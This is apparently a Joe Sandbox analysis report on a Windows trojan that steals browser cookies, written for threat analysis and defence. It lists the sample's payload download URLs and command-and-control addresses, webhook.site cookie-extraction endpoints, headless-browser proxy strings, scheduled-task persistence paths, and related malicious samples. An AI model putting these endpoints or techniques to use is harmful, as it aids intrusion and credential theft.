http://185.196.8.218:56711/a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.bin	true	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.bin	true	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a3/9d499c8606d15383034043de70ce6921f1182c4547063bffbabfb96e53507d80.bin	true	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin	true	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a2/82db253b2ed6b9665d2b1f02de9d73d0793f3c7c3669e9899de3e09d08e4df21.bin	true	Avira URL Cloud: safe	unknown
https://ipapi.co/json/	false		high
http://185.196.8.218:8080/device	true	Avira URL Cloud: safe	unknown
https://inet-ip.info/json	true	Avira URL Cloud: safe	unknown
http://185.196.8.218:8080/client	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://myaccount.google.com/Upgrade-Insecure-Requestsstrict-origin-when-cross-origin0976E8F17EB70E8	winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false		high
https://myaccount.google.comNavigating	winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000010.00000003.2231563407.0000024EBF6A3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:37712	winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000004000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000010.00000003.2231563407.0000024EBF672000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com	winclock.exe, 00000004.00000002.2452222812.000000C000208000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000274000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go-rod.github.io/#/compatibility?id=os:	winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.218:56711/a1/65af90bd293a3ba613a791a39f8e4e3fa3ca523897fe948d6c889177d52f3071.binht	0A7XTINw3R.exe, 00000000.00000003.1762315778.000000C000044000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C000044000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.150.223.100:65140http://127.0.0.1:37712/json/versionhttp://127.0.0.1:37712/json/versionAPP	winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.218:8080/kernel32.dlladvapi32.dllGetUserProfileDirectoryWnetapi32.dlliphlpapi.dllLo	notepad.exe, 00000020.00000002.2946622146.000000C0000C8000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000001E.00000002.2504965931.0000022A55C07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2504965931.0000022A55D3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2484824489.0000022A47478000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663B32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6722EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E623D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://45.150.223.100:65140	winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://go-rod.github.io/#/compatibility?id=os	winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a1/b72322daf9643411de3678ba777cfbbf8fb602cd53962d142a5ca14ec0ba4c56.binht	0A7XTINw3R.exe, 00000000.00000003.1760872994.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp, 0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/account/about/?hl=en-USSELECT	winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://myaccount.google.comhttps://myaccount.google.comredirected	winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.binde	0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/account/about/?hl=en-US	winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp, winclock.exe, 00000004.00000002.2452222812.000000C000274000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001E.00000002.2484824489.0000022A45B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B662141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webhook.site/check-should-extract-cookieshttps://webhook.site/check-should-extract-cookies	winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://127.0.0.1:37712http://127.0.0.1:37712http://127.0.0.1:37712u	winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:37712http://127.0.0.1:37712ntdll.dllRtlGetNtVersionNumbershttp://127.0.0.1:37712COM	winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://golang.org/pkg/time/#ParseDuration)function(e)	winclock.exe, 00000004.00000002.2450029954.000000000076E000.00000002.00000001.01000000.00000006.sdmp, winclock.exe, 0000000C.00000002.2051201086.000000000076E000.00000002.00000001.01000000.00000006.sdmp	false		high
https://webhook.site/publish-state-extractorhttps://webhook.site/publish-state-extractor	winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.196.8.218:8080/	notepad.exe, 0000001B.00000002.2948985027.000000C000118000.00000004.00001000.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2946622146.000000C0000C8000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000001E.00000002.2504965931.0000022A55C07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2504965931.0000022A55D3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2484824489.0000022A47478000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663B32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6722EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2587854071.000001B6721BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E623D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.comhttps://myaccount.google.com2024-12-27T03:09:57-05:00	winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/account/about/?hl=en-USStatus	winclock.exe, 00000004.00000002.2452222812.000000C000024000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.218:8080/kernel32.dlladvapi32.dllIF	notepad.exe, 0000001B.00000002.2948985027.000000C000118000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:37712/json/version	winclock.exe, 00000004.00000002.2452222812.000000C00001A000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000028.00000002.2712887697.00000166E6106000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.196.8.218:56711/a3/d0cc0b58f9707a4d945510f307cc399ec54f96fc9737654d1562b46b0315a905.bin95	0A7XTINw3R.exe, 00000000.00000002.2249329321.000000C0000F4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000010.00000002.2951225753.0000024EBF400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.196.8.218:56711/a2/ccecba6ceb90df2d819dbfeb0d750338c3b656e35881f10492947a9b102b3a0d.binht	0A7XTINw3R.exe, 00000000.00000002.2256071288.000000C000400000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 00000012.00000000.2235368180.0000000000640000.00000002.00000001.01000000.0000000A.sdmp, malnotify.exe, 0000001A.00000000.2255037801.0000000000640000.00000002.00000001.01000000.0000000A.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:37712Sec-Websocket-AcceptC	winclock.exe, 00000004.00000002.2452222812.000000C000186000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000028.00000002.2629648247.00000166D62C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com	winclock.exe, 00000004.00000002.2452222812.000000C00018C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://45.150.223.100:65140http://45.150.223.100:65140pxmYRaZcDfU9N7STHIO2gQ4JtKXyWVljpxmYRaZcDfU9N7	winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipapi.co/json/https://ipapi.co/json/u	winclock.exe, 00000004.00000002.2452222812.000000C000088000.00000004.00001000.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000010.00000003.2231563407.0000024EBF6C2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/	winclock.exe, 00000004.00000002.2452222812.000000C00026C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://--headless--headless=new--user-data-dir--proxy-server127.0.0.1:37712127.0.0.1:37712127.0.0.1:	winclock.exe, 00000004.00000002.2452222812.000000C00017E000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000001E.00000002.2484824489.0000022A45B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B662141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://inet-ip.info/jsonjson:	malnotify.exe, 00000012.00000002.2473465562.000000C000D32000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 00000012.00000002.2470988216.000000C000400000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 0000001A.00000002.2521666601.000000C00186C000.00000004.00001000.00020000.00000000.sdmp, malnotify.exe, 0000001A.00000002.2520156501.000000C001000000.00000004.00001000.00020000.00000000.sdmp, notepad.exe, 0000001B.00000002.2959106776.00007FF7CA25B000.00000002.00000400.00020000.00000000.sdmp, notepad.exe, 00000020.00000002.2959057593.00007FF7CA25B000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.v	powershell.exe, 00000024.00000002.2595327714.000001B67A279000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.maxmind.com	notepad.exe, 00000020.00000002.2953422761.000000C0002C6000.00000004.00001000.00020000.00000000.sdmp	false		high
https://oneget.org	powershell.exe, 0000001E.00000002.2484824489.0000022A47095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2527507233.000001B663655000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2629648247.00000166D7590000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/account/about/?hl=en-USpanic	winclock.exe, 00000004.00000002.2452222812.000000C000052000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.8.44	ipapi.co	United States	13335	CLOUDFLARENETUS	false
185.196.8.218	unknown	Switzerland	34888	SIMPLECARRER2IT	true
178.63.67.153	webhook.site	Germany	24940	HETZNER-ASDE	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
157.7.208.157	inet-ip.info	Japan	7506	INTERQGMOInternetIncJP	true
45.150.223.100	unknown	United Kingdom	1239	SPRINTLINKUS	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1581254
Start date and time:	2024-12-27 09:08:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0A7XTINw3R.exe renamed because original name is a hash value
Original Sample Name:	fa3102d579b1b05b124c915605cdb7d8.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@75/110@3/8
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 23.218.208.109, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 0A7XTINw3R.exe, PID 6848 because it is empty
Execution Graph export aborted for target malnotify.exe, PID 4444 because there are no executed function
Execution Graph export aborted for target malnotify.exe, PID 4500 because it is empty
Execution Graph export aborted for target notepad.exe, PID 280 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 6572 because it is empty
Execution Graph export aborted for target winclock.exe, PID 600 because there are no executed function
Execution Graph export aborted for target winclock.exe, PID 6264 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:09:36	API Interceptor	1x Sleep call for process: winclock.exe modified
03:09:54	API Interceptor	44x Sleep call for process: powershell.exe modified
03:09:57	API Interceptor	2x Sleep call for process: svchost.exe modified
08:09:38	Task Scheduler	Run new task: RunUpdateNotificationSvc path: "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat"
08:10:00	Task Scheduler	Run new task: HiveUploadService path: "C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.26.8.44	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse
	PQwHxAiBGt.exe	Get hash	malicious	RHADAMANTHYS	Browse
	https://buiseenet-fbsp247.getresponsewebsite.com/	Get hash	malicious	Unknown	Browse
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse
	https://3r9e6kkr.r.us-east-1.awstrack.me/L0/https:%2F%2Fwww.google.ca%2Furl%3Fq=30NUMBER%26rct=77772474802481024856%26sa=t%26url=amp%2Fs%2Festudioit.cl%2Fstarl%2F%2523Y2FybGEuYWxkZW1pcjFAbWxjaW5zdXJhbmNlLmNvbS5hdQ==/1/0100019346ba248e-096005ca-8ea9-493d-b2f5-e0c34fd69fc0-000000/JH6rhkavYmTGSs9Zspd-vAN7bi8=401	Get hash	malicious	Unknown	Browse
	http://wwwfucai13.cc	Get hash	malicious	Unknown	Browse
	https://app.scalenut.com/creator/991c897c-dcc2-43e6-ba55-339c0f6812c2/kj8jd9r9do	Get hash	malicious	Unknown	Browse
	https://www.google.ca/url?q=30NUMBER&rct=77151727248916238810&sa=t&url=amp/s/estudioit.cl/starl/%23YW5nZWxhLmhvZGdzb25AMnNmZy5jb20=	Get hash	malicious	Unknown	Browse
178.63.67.153	file.exe	Get hash	malicious	Unknown	Browse
239.255.255.250	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse
	ZvHSpovhDw.exe	Get hash	malicious	LummaC	Browse
	DRWgoZo325.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, Vidar	Browse
	7jKx8dPOEs.exe	Get hash	malicious	LummaC	Browse
	aD7D9fkpII.exe	Get hash	malicious	Vidar	Browse
	http://www.finanzamthessen.de	Get hash	malicious	Unknown	Browse
	installer.bat	Get hash	malicious	Vidar	Browse
	skript.bat	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipapi.co	https://mandrillapp.com/track/click/30363981/app.salesforceiq.com?p=eyJzIjoiQ21jNldfVTIxTkdJZi1NQzQ1SGE3SXJFTW1RIiwidiI6MSwicCI6IntcInVcIjozMDM2Mzk4MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2FwcC5zYWxlc2ZvcmNlaXEuY29tXFxcL3I_dD1BRndoWmYwNjV0QlFRSnRiMVFmd1A1dC0tMHZnQkowaF9lYklFcTVLRlhTWHFVWmFpNUo4RlFTd1dycTkzR1FPbEFuczlLREd2VzRJQ2Z2eGo4WjVDSkQxUTlXdDVvME5XNWMwY0tIaXpVQWJ1YnBhT2dtS2pjVkxkaDFZWE8ybklsdFRlb2VQZ2dVTCZ0YXJnZXQ9NjMxZjQyMGVlZDEzY2EzYmNmNzdjMzI0JnVybD1odHRwczpcXFwvXFxcL21haW4uZDNxczBuMG9xdjNnN28uYW1wbGlmeWFwcC5jb21cIixcImlkXCI6XCI5ZTdkODJiNWQ0NzA0YWVhYTQ1ZjkxY2Y0ZTFmNGRiMFwiLFwidXJsX2lkc1wiOltcImY5ODQ5NWVhMjMyYTgzNjg1ODUxN2Y4ZTRiOTVjZjg4MWZlODExNmJcIl19In0	Get hash	malicious	Unknown	Browse	172.67.69.226
	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf	Get hash	malicious	HTMLPhisher	Browse	172.67.69.226
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	104.21.16.1
	https://enrollmentportal.borlsfx.com/rwrzvvwfa/d8b09a/?2a6p5=test@test.com	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	Codale Electric Supply Health Insurance Benefits Open Enrollment Plan.html.shtml	Get hash	malicious	Unknown	Browse	104.26.9.44
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	104.26.8.44
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.8.44
	Carisls Open Benefits Enrollment.eml	Get hash	malicious	unknown	Browse	104.26.9.44
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	104.26.9.44
	PQwHxAiBGt.exe	Get hash	malicious	RHADAMANTHYS	Browse	104.26.8.44
webhook.site	5EvHHcMjRg.exe	Get hash	malicious	Unknown	Browse	46.4.105.116
	file.exe	Get hash	malicious	Unknown	Browse	46.4.105.116
	file.exe	Get hash	malicious	Unknown	Browse	178.63.67.106
	4Vp6Xc8SFr.exe	Get hash	malicious	Unknown	Browse	46.4.105.116

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	GnHq2ZaBUl.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	vVJvxAfBDM.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.11.101
	LIWYEYWSOj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.165.185
	K9esyY0r4G.lnk	Get hash	malicious	Unknown	Browse	104.21.67.124
	onaUtwpiyq.exe	Get hash	malicious	LummaC	Browse	104.21.11.101
	CAo57G5Cio.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	fer4JIJGeL.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	AaEBZ7icLd.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	wJtkC63Spw.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
	cFLK1CiiNK.exe	Get hash	malicious	LummaC	Browse	172.67.165.185
SIMPLECARRER2IT	zmap.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	185.196.8.105
	zmap.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	185.196.8.105
	zmap.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	185.196.8.105
	zmap.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	185.196.8.105
	zmap.x86.elf	Get hash	malicious	Okiru	Browse	185.196.8.105
	zmap.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	185.196.8.105
	DQmU06kq9I.exe	Get hash	malicious	LiteHTTP Bot	Browse	185.208.159.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.208.159.109
	file.exe	Get hash	malicious	ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig	Browse	185.196.8.237
	file.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse	185.208.158.187
INTERQGMOInternetIncJP	armv7l.elf	Get hash	malicious	Unknown	Browse	118.27.26.179
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	160.251.213.169
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	150.95.147.221
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	160.251.107.100
	236236236.elf	Get hash	malicious	Unknown	Browse	118.27.99.214
	ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.100.17
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	157.7.79.152
	1.elf	Get hash	malicious	Unknown	Browse	133.130.112.158
	Owari.mpsl.elf	Get hash	malicious	Unknown	Browse	133.130.112.151
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7